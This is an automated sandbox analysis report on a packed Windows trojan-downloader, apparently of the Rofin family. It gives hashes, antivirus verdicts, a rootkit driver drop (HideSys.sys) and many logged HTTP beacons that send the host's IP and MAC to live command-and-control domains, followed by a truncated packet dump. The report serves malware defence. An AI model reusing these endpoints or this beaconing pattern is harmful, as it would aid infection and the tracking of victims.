Analysis Date2015-10-14 23:27:08
MD5b25fd7f9cfb54eaf03d44ffb557dece3
SHA16b50df491336bde551e5ec8fee120094d6d06f28

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
SectionUPX0 md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
SectionUPX1 md5: 919fae9002fcbddeb1aa3f126d80f9ed sha1: 0842133d972e23a3d4d5045c37cd5df7f87e4aeb size: 71168
Section.rsrc md5: aaa5474a75edd77311689af75da60740 sha1: eabe31748765950696e1f1c2386ef61fd0c6599e size: 1536
Timestamp2014-09-04 04:33:23
VersionLegalCopyright:
InternalName:
FileVersion: 1, 0, 9, 412
CompanyName:
PrivateBuild:
LegalTrademarks:
Comments:
ProductName:
SpecialBuild:
ProductVersion: 1, 0, 9, 412
FileDescription:
OriginalFilename:
PackerUPX -> www.upx.sourceforge.net
PEhash9c1741dd9bf4d1d2c434b747ea795f6d00b23829
IMPhash47facdc176d0a0163cbbc6eeaf773a5f
AVRisingno_virus
AVCA (E-Trust Ino)no_virus
AVF-SecureGen:Variant.Graftor.94620
AVDr. WebTrojan.Carberp.1504
AVClamAVWin.Trojan.Agent-779579
AVArcabit (arcavir)Gen:Variant.Graftor.94620
AVBullGuardGen:Variant.Graftor.94620
AVPadvishno_virus
AVVirusBlokAda (vba32)Trojan.Rofin
AVCAT (quickheal)Trojan.Rofin.A.mue
AVTrend MicroTROJ_ROFIN.SM
AVKasperskyTrojan.Win32.Generic:Trojan.Win32.Rofin.j:Trojan.Win32.Rofin.a
AVZillya!Downloader.Agent.Win32.221409
AVEmsisoftGen:Variant.Graftor.94620
AVIkarusPUA.Zzinfor
AVFrisk (f-prot)W32/Injector.A.gen!Eldorado
AVAuthentiumW32/Injector.A.gen!Eldorado
AVMalwareBytesno_virus
AVMicroWorld (escan)Gen:Variant.Graftor.94620
AVMicrosoft Security EssentialsTrojan:Win32/Rofin!rfn
AVK7Trojan ( 004b81b21 )
AVBitDefenderGen:Variant.Graftor.94620
AVFortinetW32/Injector.JQR!tr
AVSymantecDownloader
AVGrisoft (avg)Generic36.AUZM.dropper
AVEset (nod32)Win32/TrojanDownloader.Agent.RFS
AVAlwil (avast)Malware-gen:Win32:Malware-gen
AVAd-AwareGen:Variant.Graftor.94620
AVTwisterTrojan.Cap149162.wobj
AVAvira (antivir)TR/Agent.8252
AVMcafeeRDN/Generic.dx!ds3:RDN/Generic.grp!if

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FileSSDTProcess
Creates FileC:\WINDOWS\system32\drivers\HideSys.sys
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates ServiceEProcess - C:\WINDOWS\system32\drivers\HideSys.sys
Starts ServiceEProcess

Process
↳ Pid 808

Process
↳ Pid 856

Process
↳ C:\WINDOWS\System32\svchost.exe

Creates Filepipe\PCHFaultRepExecPipe

Process
↳ Pid 1116

Process
↳ Pid 1212

Process
↳ C:\WINDOWS\system32\spoolsv.exe

RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\BeepEnabled ➝
NULL
RegistryHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\Print\TypesSupported ➝
7
RegistryHKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Print\Printers\SymbolicLinkValue ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Print\Printers\DefaultSpoolDirectory ➝
C:\WINDOWS\System32\spool\PRINTERS\\x00
Creates FileWMIDataDevice

Process
↳ Pid 1860

Process
↳ Pid 1148

Process
↳ C:\WINDOWS\Explorer.EXE

RegistryHKEY_CURRENT_USER\SessionInformation\ProgramCount ➝
NULL

Network Details:

DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNSdownini.com
Type: A
116.255.243.151
DNSinixz.com
Type: A
116.255.243.151
DNSinibin.com
Type: A
116.255.243.151
DNSbindown.com
Type: A
116.255.243.151
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNS1st.ecoma.ourwebpic.com
Type: A
8.37.239.17
DNSplus.zzinfor.cn
Type: A
DNSplus.soomeng.com
Type: A
DNSplus.icafeads.com
Type: A
DNSbindowns.com
Type: A
DNSinidowns.com
Type: A
DNSxzpzwj.com
Type: A
DNSxiazaiini.com
Type: A
DNSxiazaibin.com
Type: A
DNSinidown.com
Type: A
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inibin.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://bindown.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.zzinfor.cn/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.soomeng.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://plus.icafeads.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://downini.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
HTTP GEThttp://inixz.com/plus/config/pg,gjf,bmp,png,swf.bin?ver=3.180&lip=192.168.1.2&mac=XXXXXXXXXXXX
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)
Flows TCP192.168.1.1:1031 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1032 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1033 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1034 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1035 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1036 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1037 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1038 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1039 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1040 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1041 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1042 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1043 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1044 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1045 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1046 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1047 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1048 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1049 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1050 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1051 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1052 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1053 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1054 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1055 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1056 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1057 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1058 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1059 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1060 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1061 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1062 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1063 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1064 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1065 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1066 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1067 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1068 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1069 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1070 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1071 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1072 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1073 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1074 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1075 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1076 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1077 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1078 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1079 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1080 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1081 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1082 ➝ 8.37.239.17:80
Flows TCP192.168.1.1:1083 ➝ 116.255.243.151:80
Flows TCP192.168.1.1:1084 ➝ 116.255.243.151:80

Raw Pcap
0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e7a7a69 6e666f72 2e636e0d 0a436f6e   .zzinfor.cn..Con
0x00000110 (00272)   6e656374 696f6e3a 20436c6f 73650d0a   nection: Close..
0x00000120 (00288)   43616368 652d436f 6e74726f 6c3a206e   Cache-Control: n
0x00000130 (00304)   6f2d6361 6368650d 0a0d0a              o-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e736f6f 6d656e67 2e636f6d 0d0a436f   .soomeng.com..Co
0x00000110 (00272)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000120 (00288)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000130 (00304)   6e6f2d63 61636865 0d0a0d0a            no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
0x000000d0 (00208)   7773204e 5420352e 313b2053 56313b20   ws NT 5.1; SV1; 
0x000000e0 (00224)   2e4e4554 20434c52 20322e30 2e353037   .NET CLR 2.0.507
0x000000f0 (00240)   32373b29 0d0a486f 73743a20 706c7573   27;)..Host: plus
0x00000100 (00256)   2e696361 66656164 732e636f 6d0d0a43   .icafeads.com..C
0x00000110 (00272)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000120 (00288)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000130 (00304)   206e6f2d 63616368 650d0a0d 0a          no-cache....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f70672c 676a662c 626d702c 706e672c   /pg,gjf,bmp,png,
0x00000020 (00032)   7377662e 62696e3f 7665723d 332e3138   swf.bin?ver=3.18
0x00000030 (00048)   30266c69 703d3139 322e3136 382e312e   0&lip=192.168.1.
0x00000040 (00064)   32266d61 633d5858 58585858 58585858   2&mac=XXXXXXXXXX
0x00000050 (00080)   58582048 5454502f 312e310d 0a416363   XX HTTP/1.1..Acc
0x00000060 (00096)   6570743a 202a2f2a 0d0a4163 63657074   ept: */*..Accept
0x00000070 (00112)   2d456e63 6f64696e 673a2064 65666c61   -Encoding: defla
0x00000080 (00128)   74650d0a 41636365 70742d4c 616e6775   te..Accept-Langu
0x00000090 (00144)   6167653a 207a682d 636e0d0a 55736572   age: zh-cn..User
0x000000a0 (00160)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x000000b0 (00176)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x000000c0 (00192)   204d5349 4520362e 303b2057 696e646f    MSIE 6.0; Windo
